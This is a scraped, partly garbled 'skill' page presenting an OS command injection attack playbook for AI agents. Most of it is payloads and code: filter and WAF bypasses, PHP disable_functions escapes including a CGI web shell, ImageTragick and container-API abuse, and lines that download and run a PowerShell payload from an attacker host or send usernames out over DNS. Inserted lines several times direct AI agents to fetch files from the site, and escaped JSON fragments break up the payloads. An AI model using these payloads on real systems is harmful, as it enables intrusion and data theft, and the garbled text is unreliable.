cmdi-command-injection

SKILL: OS Command Injection — Expert Attack Playbook AI LOAD INSTRUCTION : Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors. 0. RELATED ROUTING Before going deep, you can first load: - upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow First-pass payload families | Context | Start With | Backup | |---|---|---| | generic shell separator | | | | quoted a…

\\x20'&&cat${X}/etc/passwd # hex encoded space\n```\n\n### Slash Alternatives (when `/` is filtered)\n```bash\n

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\\057'etc

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\\057'passwd # octal representation\ncat /???/???sec??? # glob expansion\n```\n\n### Keyword Bypass via Variable Assembly\n```bash\na=c;b=at;c=/etc/passwd; $a$b $c # 'cat /etc/passwd'\nc=at;ca$c /etc/passwd # cat\n```\n\n### Newline Injection\n```\ncmd%0Aid%0Awhoami # URL-encoded newlines\ncmd

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\\n'id

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\\n'whoami # literal newlines\n```\n\n---\n\n## 7. COMMON INJECTION ENTRY POINTS\n\n| Entry | Example |\n|---|---|\n| Network tools | ping, nslookup, traceroute, whois forms |\n| File conversion | image resize, PDF generate, format convert |\n| Email senders | From address, name fields in notification emails |\n| Search/sort parameters | Passed to grep, find, sort commands |\n| Log viewing | Passed to tail, grep commands |\n| Custom script execution | \"Run test\" features, CI/CD hooks |\n| DNS lookup features | rDNS lookup, WHOIS query |\n| Backup/restore features | File path parameters |\n| Archive processing | zip/unzip, tar with user-provided filename |\n\n---\n\n## 8. BLIND INJECTION DECISION TREE\n\n```\nFound potential injection point?\n├── Try basic: ; sleep 5\n│ └── Response delays? → Confirmed blind injection\n│ ├── Extract data via timing: if/then sleep\n│ └── Use OOB: curl/nslookup to Collaborator\n│\n├── No delay observed?\n│ ├── Try: | sleep 5\n│ ├── Try: $(sleep 5)\n│ ├── Try: ` sleep 5 `\n│ ├── Try after URL encoding: %3B%20sleep%205\n│ └── Try double encoding: %253B%2520sleep%25205\n│\n└── All blocked → check WEB APPLICATION LAYER\n Filter on input? → encode differently\n Filter on specific commands? → whitespace bypass, $IFS, glob\n```\n\n---\n\n## 9. ADVANCED WAF BYPASS TECHNIQUES\n\n### Wildcard Expansion\n\n```bash\n# Use ? and * to bypass keyword filters:\n/???/??t /???/p??s?? # /bin/cat /etc/passwd\n/???/???/????2 *.php # /usr/bin/find2 *.php (approximate)\n\n# Globbing for specific files:\ncat /e?c/p?sswd\ncat /e*c/p*d\n```\n\n### cat Alternatives (when \"cat\" is filtered)\n\n```bash\ntac /etc/passwd # reverse cat\nnl /etc/passwd # numbered lines\nhead /etc/passwd\ntail /etc/passwd\nmore /etc/passwd\nless /etc/passwd\nsort /etc/passwd\nuniq /etc/passwd\nrev /etc/passwd | rev\nxxd /etc/passwd\nstrings /etc/passwd\nod -c /etc/passwd\nbase64 /etc/passwd # then decode offline\n```\n\n### Comment Insertion (PHP specific)\n\n```bash\n# Insert comments within function names to bypass WAF:\nsys/*x*/tem('id') # PHP ignores /* */ in some eval contexts\n# Note: this works with eval() and similar PHP dynamic calls\n```\n\n### XOR String Construction (PHP)\n\n```php\n# Build function names from XOR of printable characters:\n$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');\n# Produces: \"assert\"\n$_('%13%19%13%14%05%0d'|'%60%60%60%60%60%60');\n# Evaluates: assert(\"system\")\n```\n\n### Base64/ROT13 Encoding\n\n```php\n# Encode payload, decode at runtime:\nbase64_decode('c3lzdGVt')('id'); # system('id')\nstr_rot13('flfgrz')('id'); # system → flfgrz via ROT13\n```\n\n### chr() Assembly\n\n```php\n# Build strings character by character:\nchr(115).chr(121).chr(115).chr(116).chr(101).chr(109) # \"system\"\n```\n\n### Dollar-Sign Variable Tricks\n\n```bash\n# $IFS (Internal Field Separator) as space:\ncat$IFS/etc/passwd\ncat${IFS}/etc/passwd\n\n# Unset variables expand to empty:\nc${x}at /etc/passwd # $x is unset → \"cat\"\n```\n\n---\n\n## 10. PHP disable_functions BYPASS PATHS\n\nWhen `system()`, `exec()`, `shell_exec()`, `passthru()`, `popen()`, `proc_open()` are all disabled:\n\n### Path 1: LD_PRELOAD + mail()/putenv()\n\n```php\n// 1. Upload shared object (.so) that hooks a libc function\n// 2. Set LD_PRELOAD to point to it\nputenv(\"LD_PRELOAD=/tmp/evil.so\");\n// 3. Trigger external process (mail() calls sendmail)\nmail(\"[email protected]\", \"\", \"\");\n// The .so's constructor runs with shell access\n```\n\n### Path 2: Shellshock (CVE-2014-6271)\n\n```php\n// If bash is vulnerable to Shellshock:\nputenv(\"PHP_LOL=() { :; }; /usr/bin/id > /tmp/out\");\nmail(\"[email protected]\", \"\", \"\");\n// Bash processes the function definition and runs the trailing command\n```\n\n### Path 3: Apache mod_cgi + .htaccess\n\n```php\n// Write .htaccess enabling CGI:\nfile_put_contents('/var/www/html/.htaccess', 'Options +ExecCGI\\nAddHandler cgi-script .sh');\n// Write CGI script:\nfile_put_contents('/var/www/html/cmd.sh', \"#!/bin/bash\\necho Content-type: text/html\\necho\\n$1\");\nchmod('/var/www/html/cmd.sh', 0755);\n// Access: /cmd.sh?id\n```\n\n### Path 4: PHP-FPM / FastCGI\n\n```php\n// If PHP-FPM socket is accessible (/var/run/php-fpm.sock or port 9000):\n// Send crafted FastCGI request to execute arbitrary PHP with different php.ini\n// Tool: https://github.com/neex/phuip-fpizdam\n// Override: PHP_VALUE=auto_prepend_file=/tmp/shell.php\n```\n\n### Path 5: COM Object (Windows)\n\n```php\n// Windows only, if COM extension enabled:\n$wsh = new COM('WScript.Shell');\n$exec = $wsh->Run('cmd /c whoami > C:\\inetpub\\wwwroot\\out.txt', 0, true);\n```\n\n### Path 6: ImageMagick Delegate (CVE-2016-3714 \"ImageTragick\")\n\n```php\n// If ImageMagick processes user-uploaded images:\n// Upload SVG/MVG with embedded command:\n// Content of exploit.svg:\npush graphic-context\nviewbox 0 0 640 480\nfill 'url(https://example.com/image.jpg\"|id > /tmp/pwned\")'\npop graphic-context\n```\n\n**Also consider (summary):** iconv (CVE-2024-2961) via `php://filter/convert.iconv`; FFI (`FFI::cdef` + `libc`) when the extension is enabled.\n\n---\n\n## 11. COMPONENT-LEVEL COMMAND INJECTION\n\n### ImageMagick Delegate Abuse\n\n```\n# MVG format with shell command in URL:\npush graphic-context\nviewbox 0 0 640 480\nimage over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'\npop graphic-context\n\n# Or via filename: convert '|id' out.png\n```\n\n### FFmpeg (HLS/concat protocol)\n\n```\n# SSRF/LFI via m3u8 playlist:\n#EXTM3U\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:10.0,\nconcat:http://attacker.com/header.txt|file:///etc/passwd\n#EXT-X-ENDLIST\n\n# Upload as .m3u8, FFmpeg processes and may leak file contents in output\n```\n\n### Elasticsearch Groovy Script (pre-5.x)\n\n```json\nPOST /_search\n{\n \"query\": { \"match_all\": {} },\n \"script_fields\": {\n \"cmd\": {\n \"script\": \"Runtime rt = Runtime.getRuntime(); rt.exec('id')\"\n }\n }\n}\n```\n\n### Ping/Traceroute/NSLookup Diagnostic Pages\n\n```\n# Classic injection point in network diagnostic features:\n# Input: 127.0.0.1; id\n# Input: 127.0.0.1 && cat /etc/passwd\n# Input: `id`.attacker.com (DNS exfil via backtick)\n# These features directly call OS commands with user input\n```\n\n**Other sinks (quick reference):** PDF generators (wkhtmltopdf / WeasyPrint with user HTML); Git wrappers (`git clone` URL / hooks).\n\n---\n\n## 12. WINDOWS CMD.EXE VS POWERSHELL INJECTION MATRIX\n\n| Feature | cmd.exe | PowerShell |\n|---------|---------|------------|\n| **Command separator** | `&`, `&&`, `\\|\\|`, `;` (limited) | `;`, `\\|`, `&` (call operator) |\n| **Variable expansion** | `%VARIABLE%`, `!VAR!` (delayed) | `$env:VARIABLE`, `$Variable` |\n| **Escape character** | `^` (caret) | `` ` `` (backtick) |\n| **Command substitution** | `FOR /F` loops | `$()` subexpression |\n| **Encoded execution** | N/A | `-EncodedCommand` (base64 UTF-16LE) |\n| **Pipeline** | `\\|` (stdout only) | `\\|` (objects, not text) |\n| **Comment** | `REM`, `::` | `#` |\n| **String quoting** | `\"double\"` only | `\"double\"`, `'single'` (no expansion) |\n\n### cmd.exe specific payloads\n\n```batch\nREM Command chaining\ndir & whoami\ndir && whoami\ndir || whoami\n\nREM Caret escape to bypass keyword filters\nw^h^o^a^m^i\nn^e^t u^s^e^r\n\nREM Variable expansion injection\nset CMD=whoami\n%CMD%\n\nREM Environment variable exfiltration via DNS\nnslookup %USERNAME%.attacker.com\nnslookup %COMPUTERNAME%.attacker.com\n\nREM Delayed expansion (when !var! is enabled)\ncmd /V:ON /C \"set x=whoami&!x!\"\n```\n\n### PowerShell specific payloads\n\n```powershell\n# Semicolon separator\nGet-Process; whoami\n\n# Subexpression\n\"$(whoami)\"\nWrite-Output $(hostname)\n\n# Base64 encoded command (UTF-16LE)\npowershell -EncodedCommand dwBoAG8AYQBtAGkA\n# Decodes to: whoami\n\n# Invoke-Expression obfuscation\n$a='who';$b='ami';iex \"$a$b\"\n& (gcm *ke-*) \"whoami\"\n\n# Download and execute\nIEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')\nIEX (iwr http://attacker/payload.ps1 -UseBasicParsing).Content\n\n# Constrained Language Mode bypass (if available)\npowershell -Version 2 -Command \"whoami\"\n```\n\n### Cross-platform payload differences\n\n| Target | Time delay | DNS exfil | File read |\n|--------|-----------|-----------|-----------|\n| Linux/macOS | `sleep 5` | `nslookup $(whoami).atk.com` | `cat /etc/passwd` |\n| cmd.exe | `timeout /T 5 /NOBREAK` | `nslookup %USERNAME%.atk.com` | `type C:\\Windows\\win.ini` |\n| PowerShell | `Start-Sleep 5` | `nslookup $(whoami).atk.com` | `Get-Content C:\\Windows\\win.ini` |\n\n### Detection-first polyglot\n\n```text\n;sleep${IFS}5;#&timeout /T 5 /NOBREAK&#\n```\n\nWorks across sh/bash/cmd contexts — one of the separators will fire.\n\n---\n\n## 13. CONTAINER / K8S EXEC INJECTION\n\n### kubectl exec injection\n\nWhen a web application constructs `kubectl exec` commands with user input:\n\n```text\n# Vulnerable pattern\nkubectl exec $POD_NAME -- /bin/sh -c \"echo $USER_INPUT\"\n\n# Injection via pod name\nPOD_NAME=\"mypod -- /bin/sh -c whoami #\"\n→ kubectl exec mypod -- /bin/sh -c whoami # -- /bin/sh -c \"echo ...\"\n\n# Injection via user input in command\nUSER_INPUT='\"; cat /etc/passwd; echo \"'\n→ kubectl exec pod -- /bin/sh -c \"echo \"\"; cat /etc/passwd; echo \"\"\"\n```\n\n### Docker exec injection\n\n```text\n# Vulnerable web admin panel\ndocker exec $CONTAINER_NAME $COMMAND\n\n# Injection via container name\nCONTAINER_NAME=\"web_app -u root web_app\"\n→ docker exec web_app -u root web_app $COMMAND (runs as root)\n\n# Injection via command argument\nCOMMAND=\"status; cat /etc/shadow\"\n→ docker exec container /bin/sh -c \"status; cat /etc/shadow\"\n```\n\n### Container runtime API (unauthenticated)\n\n```text\n# Docker socket exposed (2375/2376 or /var/run/docker.sock)\nPOST /containers/create HTTP/1.1\n{\"Image\":\"alpine\",\"Cmd\":[\"/bin/sh\",\"-c\",\"cat /host/etc/shadow\"],\"Binds\":[\"/:/host\"]}\n\n# Then start + exec\nPOST /containers/{id}/start\nPOST /containers/{id}/exec {\"Cmd\":[\"cat\",\"/host/etc/shadow\"]}\n\n# Kubernetes API (6443/8443 unauthenticated)\nPOST /api/v1/namespaces/default/pods/{name}/exec?command=whoami&stdout=true\n```\n\n### Sinks to watch for\n\n| Component | Injection Vector |\n|-----------|-----------------|\n| CI/CD pipeline (Jenkins, GitLab CI) | Build step parameters, environment variables |\n| Kubernetes CronJob | `.spec.containers[].command` from user-defined schedules |\n| Helm chart values | `values.yaml` templated into pod specs with `{{ }}` |\n| Container orchestration UI | \"Run command\" features in Portainer, Rancher, etc. |\n\n---\n\n## 14. ENVIRONMENT VARIABLE INJECTION\n\nWhen an application allows setting or influencing environment variables, several variables have **implicit execution** semantics:\n\n### Linux / Unix\n\n| Variable | Effect | Exploitation |\n|----------|--------|-------------|\n| `LD_PRELOAD` | Loaded before any shared library; constructor runs on process start | `putenv(\"LD_PRELOAD=/tmp/evil.so\"); mail(\"a@b\",\"\",\"\");` |\n| `LD_LIBRARY_PATH` | Overrides library search path | Place malicious `libc.so.6` in controlled directory |\n| `BASH_ENV` | Executed when non-interactive bash starts | `BASH_ENV=/tmp/evil.sh` → any `system()` / `popen()` call sources it |\n| `ENV` | Same as BASH_ENV for POSIX `sh` | `ENV=/tmp/evil.sh` |\n| `PROMPT_COMMAND` | Executed before each interactive prompt | `PROMPT_COMMAND=\"curl http://atk.com/$(whoami)\"` |\n| `PS1` | Prompt string, supports `$()` expansion in bash | `PS1='$(cat /etc/passwd > /tmp/out) \\$ '` |\n| `PYTHONSTARTUP` | Python script executed on interpreter startup | Inject path to malicious `.py` file |\n| `PERL5OPT` | Options passed to every Perl invocation | `PERL5OPT='-Mbase;system(\"id\")'` |\n| `NODE_OPTIONS` | Options passed to every Node.js invocation | `NODE_OPTIONS='--require /tmp/evil.js'` |\n| `RUBYOPT` | Options for Ruby | `RUBYOPT='-r/tmp/evil.rb'` |\n\n### Windows\n\n| Variable | Effect |\n|----------|--------|\n| `COMSPEC` | Path to command interpreter; `system()` calls use this | Set to malicious executable |\n| `PATH` | Command resolution order; place malicious binary earlier in path | DLL/EXE search order hijacking |\n| `PSModulePath` | PowerShell auto-loads modules from these paths | Plant malicious module |\n\n### Attack scenarios\n\n**PHP `putenv()` + `mail()`**:\n```php\n// When putenv() is not disabled and mail() is available:\nputenv(\"LD_PRELOAD=/tmp/evil.so\");\nmail(\"[email protected]\",\"\",\"\",\"\");\n// mail() invokes sendmail → loads evil.so → constructor executes arbitrary code\n```\n\n**Git hook injection via environment**:\n```bash\n# GIT_DIR / GIT_WORK_TREE manipulation\nGIT_DIR=/tmp/evil_repo/.git git status\n# If hooks exist in the controlled repo, they execute\n```\n\n**Node.js `--require` injection**:\n```bash\nNODE_OPTIONS=\"--require=/tmp/reverse_shell.js\" node /app/server.js\n# reverse_shell.js is loaded before server.js\n```","attachment_filenames":[],"attachments":[],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"SKILL: OS Command Injection — Expert Attack Playbook","type":"text"}]},{"type":"blockquote","content":[{"type":"paragraph","content":[{"text":"AI LOAD INSTRUCTION","type":"text","marks":[{"type":"strong"}]},{"text":": Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.","type":"text"}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"0. RELATED ROUTING","type":"text"}]},{"type":"paragraph","content":[{"text":"Before going deep, you can first load:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"upload insecure files","type":"text","marks":[{"type":"link","attrs":{"href":"../upload-insecure-files/SKILL.md","title":null}}]},{"text":" when the shell sink is part of a broader upload, import, or conversion workflow","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"First-pass payload families","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Context","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Start With","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Backup","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"generic shell separator","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":";id","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"&&id","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"quoted argument","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\";id;\"","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"';id;'","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"blind timing","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":";sleep 5","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"& timeout /T 5 /NOBREAK","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"command substitution","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"$(id)","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"`id`","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"out-of-band DNS","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":";nslookup token.collab","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Windows ","type":"text"},{"text":"nslookup","type":"text","marks":[{"type":"code_inline"}]},{"text":" variant","type":"text"}]}]}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":"cat$IFS/etc/passwd\n{cat,/etc/passwd}\n%0aid","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"1. SHELL METACHARACTERS (INJECTION OPERATORS)","type":"text"}]},{"type":"paragraph","content":[{"text":"These characters break out of the command context and inject new commands:","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Metacharacter","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Behavior","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Example","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":";","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Runs second command regardless","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"dir; whoami","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"|","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Pipes stdout to second command","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"dir | whoami","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"||","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Run second only if first FAILS","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"dir || whoami","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"&","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Run second in background (or sequenced in Windows)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"dir & whoami","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"&&","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Run second only if first SUCCEEDS","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"dir && whoami","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"$(cmd)","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Command substitution","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"echo $(whoami)","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"`cmd`","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Command substitution (backtick)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"echo `whoami`","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":">","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Redirect stdout to file","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"cmd > /tmp/out","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":">>","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Append to file","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"cmd >> /tmp/out","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\u003c","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Read file as stdin","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"cmd \u003c /etc/passwd","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"%0a","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Newline character (URL-encoded)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"cmd%0awhoami","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"%0d%0a","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"CRLF","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Multi-command injection","type":"text"}]}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"2. COMMON VULNERABLE CODE PATTERNS","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"PHP","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"$dir = $_GET['dir'];\n$out = shell_exec(\"du -h /var/www/html/\" . $dir);\n// Inject: dir=../ ; cat /etc/passwd\n// Inject: dir=../ $(cat /etc/passwd)\n\nexec(\"ping -c 1 \" . $ip); // $ip = \"127.0.0.1 && cat /etc/passwd\"\nsystem(\"convert \" . $file); // ImageMagick RCE\npassthru(\"nslookup \" . $host); // $host = \"x.com; id\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Python","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"import os\nos.system(\"curl \" + url) # url = \"x.com; id\"\nsubprocess.call(\"ls \" + path, shell=True) # shell=True is the key vulnerability\nos.popen(\"ping \" + host)","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Node.js","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"javascript"},"content":[{"text":"const { exec } = require('child_process');\nexec('ping ' + req.query.host, ...); // host = \"x.com; id\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Perl","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"perl"},"content":[{"text":"$dir = param(\"dir\");\n$command = \"du -h /var/www/html\" . $dir;\nsystem($command);\n// Inject dir field: | cat /etc/passwd","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"ASP (Classic)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"vb"},"content":[{"text":"szCMD = \"type C:\\logs\\\" & Request.Form(\"FileName\")\nSet oShell = Server.CreateObject(\"WScript.Shell\")\noShell.Run szCMD\n// Inject FileName: foo.txt & whoami > C:\\inetpub\\wwwroot\\out.txt","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"3. BLIND COMMAND INJECTION — DETECTION","type":"text"}]},{"type":"paragraph","content":[{"text":"When response shows no command output:","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Time-Based Detection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Linux:\n; sleep 5\n| sleep 5\n$(sleep 5)\n`sleep 5`\n& sleep 5 &\n\n# Windows:\n& timeout /T 5 /NOBREAK\n& ping -n 5 127.0.0.1\n& waitfor /T 5 signal777","type":"text"}]},{"type":"paragraph","content":[{"text":"Compare response time without payload vs with payload. 5+ second delay = confirmed.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"OOB via 